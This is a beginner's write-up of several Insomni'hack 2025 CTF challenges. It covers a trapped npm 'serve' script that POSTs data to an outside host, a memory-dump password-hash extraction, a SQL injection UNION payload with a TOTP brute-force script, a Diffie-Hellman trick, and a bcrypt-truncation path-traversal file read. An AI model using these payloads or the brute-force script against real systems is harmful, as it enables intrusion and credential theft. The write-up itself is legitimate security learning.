The Insomni’hack 2025 CTF is a CTF hosted during the Insomni’hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025.
Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am
I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year…?
Welcome To Insomni’hack
This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve
command after cloning it.
Considering the welcome challenge of last year, I did not wanted to run that npm run
command, as I knew it would likely do some funny stuff. Looking at the package.json
file, this confirmed by supposition:
{
"name": "insomnihack-grid",
"version": "1.0.0",
"description": "Interactive grid game for Insomnihack",
"main": "index.js",
"scripts": {
"serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"",
"build": "mkdir -p dist && cp -r src/* dist/"
},
"keywords": ["insomnihack", "grid", "game"],
"author": "Your Name",
"license": "MIT",
"devDependencies": {
"lite-server": "^2.6.1"
}
}
As it can be seen, it would execute the following command
wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src"
To be fair I did not see the shame_W3XeaSn$QMEcvgu6!!
JSON data at the beginning, so I’ve completely skipped it and moved to the src/script.js
file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag
in the file.
The resulting cleaned up script flag resulted in the following:
// Grid Configuration
// [REMOVED]
function calculateGridDimensions() {
// [REMOVED]
}
// Progress Tracking
// [REMOVED]
function createGridCell() {
// [REMOVED]
}
function handleGridClick() {
// [REMOVED]
}
function updateProgress(numberIndex) {
// [REMOVED]
}
function updateTotalProgress() {
// [REMOVED]
}
function showCompletion() {
// Create completion overlay
const overlay = document.createElement('div');
overlay.className = 'completion-overlay';
// Create completion container
const completionContainer = document.createElement('div');
completionContainer.className = 'completion-logo';
// Create COMPLETED text
const completedText = document.createElement('span');
completedText.className = 'completion-text';
completedText.textContent = 'COMPLETED';
const flagContainer = document.createElement('div');
flagContainer.className = 'completion-flag-container';
// Create flag
const flag = document.createElement('div');
flag.className = 'completion-flag';
// Encoded flag
const decode = (str) => {
return decodeURIComponent(escape(atob(str)));
};
const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
flag.textContent = decode(encodedFlag);
// Assemble the elements
flagContainer.appendChild(flag);
completionContainer.appendChild(completedText);
completionContainer.appendChild(flagContainer);
overlay.appendChild(completionContainer);
document.body.appendChild(overlay);
}
function initializeGrid() {
// [REMOVED]
}
// Event Listeners
// [REMOVED]
// Hover Effect
// [REMOVED]
// Resize handler with debounce
// [REMOVED]
// Initial grid creation
// [REMOVED]
In that resulting code, the following line can be seen:
const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}
.
v0l4til3
We were given a quite big 20250312.mem
file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility.
I’ve ran the windows.info
command against the file and got the following result:
~/CTF/INS25/v0l4til3 🕙 23:33:35 venv ❯ vol -f 20250312.mem windows.info Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Variable Value
Kernel Base 0xf80299800000 DTB 0x1aa000 Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 FileLayer KdVersionBlock 0xf8029a60a7c0 Major/Minor 15.26100 MachineType 34404 KeNumberProcessors 2 SystemTime 2025-03-12 18:43:14+00:00 NtSystemRoot C:\WINDOWS NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Wed Aug 29 17:06:46 2085
The challenge description mentioned that the flag was the hash of the flag_user
. Running the windows.hashdump
command against the file resulted in the following:
User | rid | lmhash | nthash |
---|---|---|---|
Administrator | 500 | aad3b435b51404eeaad3b435b51404ee | e02bc503339d51f71d913c245d35b50b |
Guest | 501 | aad3b435b51404eeaad3b435b51404ee | 31d6cfe0d16ae931b73c59d7e0c089c0 |
DefaultAccount | 503 | aad3b435b51404eeaad3b435b51404ee | 31d6cfe0d16ae931b73c59d7e0c089c0 |
WDAGUtilityAccount | 504 | aad3b435b51404eeaad3b435b51404ee | 6f1c4ae67632ca364e7d105de442e569 |
flag_user | 1001 | aad3b435b51404eeaad3b435b51404ee | 3fa7a000465823e4976000ac1ca9f2d1 |
Putting the hash in the INS{}
flag format resulted in the flag: INS{3fa7a000465823e4976000ac1ca9f2d1}
.
It may be worth mentioning that it took me more time to get volatility running… I ended up having to clone the repository and install from the repository directly, otherwise some dependencies were always missing, even though I was manually installing them.
Crack the gate
This challenge was presented in a form of a website; unfortunately I didn’t take any pictures of the website as I mainly was using Burp Suite.
We were also given the source code of the app. Before looking at the source code I’ve seen the login page, so decided to try a simple SQL injection, which failed due to characters being invalid. So I then decided to look at the source code.
Looking at the code, it revealed the /search
endpoint with a query
parameter to send along. Looking at the source, it was clear this was where the SQL injection was:
@app.route("/search", methods=["GET"])
def search():
allowed_IPs = request.headers.get("Allowed-IPs", "")
whitelisted_ip = "localhost"
if whitelisted_ip in allowed_IPs:
query = request.args.get("query", "")
if '"' in query or '*' in query:
flash("Invalid characters detected in the search query.", "danger")
return render_template("search.html")
results = []
if query:
conn = sqlite3.connect("db/database.db")
cursor = conn.cursor()
# SQL injection below
sql = f"SELECT * FROM items WHERE item_name LIKE '%{query}%'"
cursor.execute(sql)
results = cursor.fetchall()
conn.close()
return render_template("search.html", results=results)
else:
return render_template("403.html"), 403
There also was a check for the Allowed-IPs
header being localhost
, so the request made with Burp Suite also had to contain that header.
So I requested the endpoint with the following query:
' OR 1=1 UNION SELECT username,password,password FROM users; --
There was no need to dump the tables/columns names, as they were to be seen in the code for the /login
endpoint:
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
The request resulted in the following result:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Search</title>
</head>
<body>
<h1>Search Items</h1>
<form method="get" action="/search">
<input type="text" name="query" placeholder="Search for items..." required>
<button type="submit">Search</button>
</form>
<h2>Search Results:</h2>
<ul>
<li><b>Item:</b> Laptop <br><b>Description:</b> A powerful gaming laptop.</li>
<!-- Many more items... -->
<li><b>Item:</b> admin <br><b>Description:</b> f!hLRXozzFhP3hM?</li>
</ul>
</body>
</html>
The password seemed unhashed, as it isn’t in a common hashing algorithm format. After logging in with admin:f!hLRXozzFhP3hM?
, a MFA page is shown.
I’ve seen that a JWT was added to the storage, so I decided to tamper it to contain "mfa_verified":true
instead; without success as the token was signed and checked.
Looking at the code, I’ve seen this weird line:
totp = pyotp.TOTP(TOTP_SECRET, digits=4, interval=240)
It was explicitly overwriting the default 6 digits and 30 seconds valid OTP time. So this made me directly think, bruteforce! Wrote a quick script to bruteforce the submission of the token with the previous, valid, JWT.
import requests
cookies = {
"session": "eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJtZmFfdmVyaWZpZWQiOmZhbHNlfQ.Z9SoeQ.d2e8568uF_fMeCTfppxK64eGO8w"
}
for n in range(10000):
totp_code = str(n).zfill(4)
print(f"Trying TOTP Code {totp_code}")
r = requests.post(
"https://crackthegate.insomnihack.ch/mfa",
cookies=cookies,
data={"totp_code": totp_code},
)
if "Enter TOTP Code:" not in r.text:
print(r.text)
break
After some time I got a valid TOTP code and the page showed the flag: INS{auth_bypassed_4dm1n}
.
EG101
This was a crypto challenge that I actually solved at around 2am, but the result being that “obvious” made me think I was wrong and I did not bother converting the data returned from hex to text…
Note to myself: Keep going, even when it seems too “simple”…
When connecting to the given host and port, we are welcomed with text like the following:
P = 9359920040557521287640188225332795304009466497049561443299088499643424200245588313061025165619294040667209797774612400137263138479335798194382908649492031, g = 3384066920714075626041222632115897899444517401444095957347004384777304561656691330065281612933459609521435296935887334868529742606809787303668660304308405
I'm Bob, I want the flag, here's g^x (mod p): 9276512785211037679173774447116113570690592352483125544287802724428191311103080319635189268810074958440535195114282820003326005815844057492966567318565496
After looking at the source code, the flag is converted to hexadecimal and multiplied by , where .
gx = int(message.split(" ")[-1].strip())
# Alice now have g^x (mod p) from Bob, she will fist compute g^y (mod p), then K = (g^x)^y (mod p)
y = random.randint(2, PRIME - 2)
gy = mod_exp(g, y, PRIME)
K = mod_exp(gx, y, PRIME)
message = msg_to_int("INS{NOT_THE_REAL_FLAG}")
Km = (message * K) % PRIME
send_msg(f"I'm Alice, here's g^y (mod p): {gy} , here's Km (mod p): {Km}\n", client_socket)
The data we can give will be , considering is alays equals to , if we send , we get a resulting to be , so we get the plain flag.
Sending gave the following back:
I'm Alice, here's g^y (mod p): ..., here's Km (mod p): 27427016322199114720750856505491100766666527541905277
Then just convert 27427016322199114720750856505491100766666527541905277
to hex (494E537B4E4F545F5448455F5245414C5F464C41477D
) and then to ASCII, which will result in the flag: INS{NOT_THE_REAL_FLAG}
.
Hawkta
After reading this challenge at around 2:30am, I decided to move on and go to sleep. After waking up the next day I realized how “obvious” this challenge was.
There is a website with four links to various hawk pictures. The endpoints are the following:
<a href="/?file=assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg&hash=$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12">Hawk1</a>
<a href="/?file=assets/data/img/harris_hawk_web.jpg&hash=$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC">Hawk2</a>
<a href="/?file=assets/data/img/Hawk-146809760-612x612.jpg&hash=$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS">Hawk3</a>
<a href="/?file=assets/data/img/Hawk-534214314-612x612.jpg&hash=$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC">Hawk4</a>
<a href="/?file=assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg&hash=$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6">Hawk5</a>
There is a file
and hash
parameter sent along with the request, looking at the given source code, they are hard-coded:
// Authorized images are matched to their bcrypt hash values for maximum security
$AUTHORIZED_IMGS = [
'$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12' => 'assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg',
'$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6' => 'assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg',
'$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC' => 'assets/data/img/harris_hawk_web.jpg',
'$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS' => 'assets/data/img/Hawk-146809760-612x612.jpg',
'$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC' => 'assets/data/img/Hawk-534214314-612x612.jpg',
//'$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW' => 'flag.txt'
];
When doing a request, the parameters are checked against the values of the $AUTHORIZED_IMGS
variable.
// Check if the file is authorized and the hash is valid
if (isset($AUTHORIZED_IMGS[$provided_hash]) && password_verify($file_name, $provided_hash)) {
header("Content-Type: image/png");
echo readfile($file_name); // Clear LFI vulnerability
exit();
}
The LFI vulnerability was quite clear to me, I still tried to execute a request with hash=$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW
and file=flag.txt
; this failed.
One thing to note with bcrypt is that it only cares about the first 72 bytes. So using password_verify
with the hash being, for example, the hash of 72 times A
and the plaintext to verify against being 72 times A
and then anything you want, will always return 1
(so valid). Example:
<?php
// 72 times A
$password = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$hashed = password_hash($password, PASSWORD_DEFAULT);
$plaintext = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HELLO WORLD!";
echo password_verify($plaintext, $hashed); // 1
?>
So we can take this at our advantage, looking at the file names there are two that are over 72 characters long:
assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg
assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg
We can take one of them, pass the hash=<hash>
and append ../../../../../flag.txt
to the file
parameter to get the content of the flag.txt
file. My browser not liking having to render an image as some weird test, I had to use Burp Suite:
HTTP/1.1 200 OK
Host: localhost
Date: Sat, 15 Mar 2025 09:44:06 GMT
Connection: close
X-Powered-By: PHP/8.2.28
Content-Type: image/png
INS{NOT_THE_REAL_FLAG}
23